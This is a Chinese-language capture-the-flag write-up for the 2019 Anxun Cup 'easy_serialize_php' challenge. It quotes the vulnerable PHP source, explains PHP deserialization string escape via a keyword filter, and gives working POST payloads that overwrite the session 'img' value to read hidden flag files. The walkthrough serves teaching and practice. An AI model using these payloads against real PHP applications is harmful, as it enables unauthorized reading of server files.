美文网首页
[安洵杯 2019]easy_serialize_php WP

[安洵杯 2019]easy_serialize_php WP

作者: Leena_c9a7 | 来源:发表于2020-02-05 20:59 被阅读0次

0x00 easy_serialize_php

打开题目查看源代码,不长,摘抄如下:

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

分析以上代码,提示f=phpinfo会发现一些东西,于是我们f=phpinfo发现在php.ini里藏了一个文件:
d0g3_f1ag.php

图片.png
看样子我们要放办法去读取里面的内容,直接访问发现没有任何内容,至于怎么去读取呢,我们需要进一步分析。代码最后一行有一个file_get_contents是能够读取文件的函数,他这里读取的是base64解密的'img',往前找这个'img',可以发现如果我们有传入img_path,它会经过sha1加密,导致目标路径失效。如果我们没有传入img_path,那么后台将默认赋值为guest_img.png的base64编码。
这样看来这个$userinfo['img']并不是我们可控的,此时需要把注意力转移到另外一个函数serialize上,这里有一个很明显的漏洞点,数据经过序列化了之后又经过了一层过滤函数,就是数组里提到的'php','flag','php5','php4','fl1g'都会被空格替代,而这层过滤函数会干扰序列化后的数据。

0x01 php反序列化字符逃逸

特点1

在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,例如:

<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}';
var_dump(unserialize($str));

输出结果:

array(2) { 
    [0]=> string(8) "Hed9eh0g" 
    [1]=> string(5) "aaaaa" 
}

一般我们会认为,只要增加或去除str的任何一个字符都会导致反序列化的失败。 但是事实并非如此,如果我们在str结尾的花括号后再增加一些字符呢?例如:

<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));

仍然可以输出上面的结果,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符(第二个例子里的abc)都会被忽略,不影响反序列化的正常进行。

特点2

例子:

<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);

结果为:

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

假设后台存在一个过滤机制,会将含flag字符替换为空,那么以上序列化字符串过滤结果为:

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

将这串字符串进行序列化会得到什么?
这个时候关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:"function";s:59:"a,读取这24个字符后以”;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:

array(3) { 
["user"]=> string(24) "";s:8:"function";s:59:"a" 
["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
["dd"]=> string(1) "a" 
}

写成数组形式也即:

$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';

可以发现,SESSION数组的键值img对应的值发生了改变。
设想,如果我们能够控制原来SESSION数组的funcion的值但无法控制img的值,我们就可以通过这种方式间接控制到img对应的值。这个感觉就像sql注入一样,他本来想读取的base64编码是:L2QwZzNfZmxsbGxsbGFn,但是由于过滤掉了flag,向后读取的过程中把键值function放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码,读取了d0g3_f1ag.php的内容。而识别完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}被忽略掉了,不影响正常的反序列化过程。

0x03 回到题目

首先payload:get:f=show_image post:_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
回显:

<?php

$flag = 'flag in /d0g3_fllllllag';

?>

base64(d0g3_fllllllag)=L2QwZzNfZmxsbGxsbGFn
第一种payload:get:f=show_image post:_SESSION[fl1gfl1g]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
第二种payload(结合上述所学的php的知识)

get:f=show_image
post:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

得到回显以后,直接把base64(d0g3_fllllllag)替换上去即可。
亦即:payload:get:f=show_image post:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}

相关文章

  • [安洵杯 2019]easy_serialize_php WP

    0x00 easy_serialize_php 打开题目查看源代码,不长,摘抄如下: 分析以上代码,提示f=php...

  • [安洵杯 2019]easy_serialize_php之愚见

    三句题外话,第一句是终于放假了,在考试周活了下来,最后一周面临3门考试,我仍然做了2道比较基础的题目,现在重做一下...

  • 第一届安洵杯writeup

    安洵官方writeup安洵writeup第一届安洵杯writeup MISC 幺元 booom 爆破 查看pass...

  • 安洵杯2019线下赛

    上周末回成都打了安洵,感谢大佬们带飞搞了个三等奖,下午茶很好吃,可乐很好喝,小姐姐也很好看,很快乐,于是来写个小总...

  • [安洵杯 2019]easy_web

    首先这个链接长得挺奇怪的,img参数后面跟的有点像base64编码。[图片上传失败...(image-dd83a9...

  • 安洵杯环境搭建

    Orz,其中有很多坑点,大佬们写的不是很全,所以本菜搭建起来踩坑了.... 有一些配置是需要改的,有的基本一查就查...

  • 安洵杯 2019-WEB-easy_web

    复现地址:https://buuoj.cn/challenges#[安洵杯%202019]easy_web 参考:...

  • 北邮网安杯2019线上赛wp

    Re1:RE1 State:Solved 签到题,没啥好说的,OD直接跟入提字符串即可。 flag:BUPT{R3...

  • 安洵杯2019-web部分题目复现

    发现buuoj上安洵2019的题目有现成的,不用在vps上搭了(第一题除外,搭好才发现......),刚好做做。 ...

  • [安洵杯 2019]easy_web之愚见

    最近身边碎事比较多,也面临期末考试月,周末抽空做了这个难度不大的题目,在这个过程中转过了一些弯,也遇到了一些问题。...

网友评论

      本文标题:[安洵杯 2019]easy_serialize_php WP

      本文链接:https://www.haomeiwen.com/subject/erfexhtx.html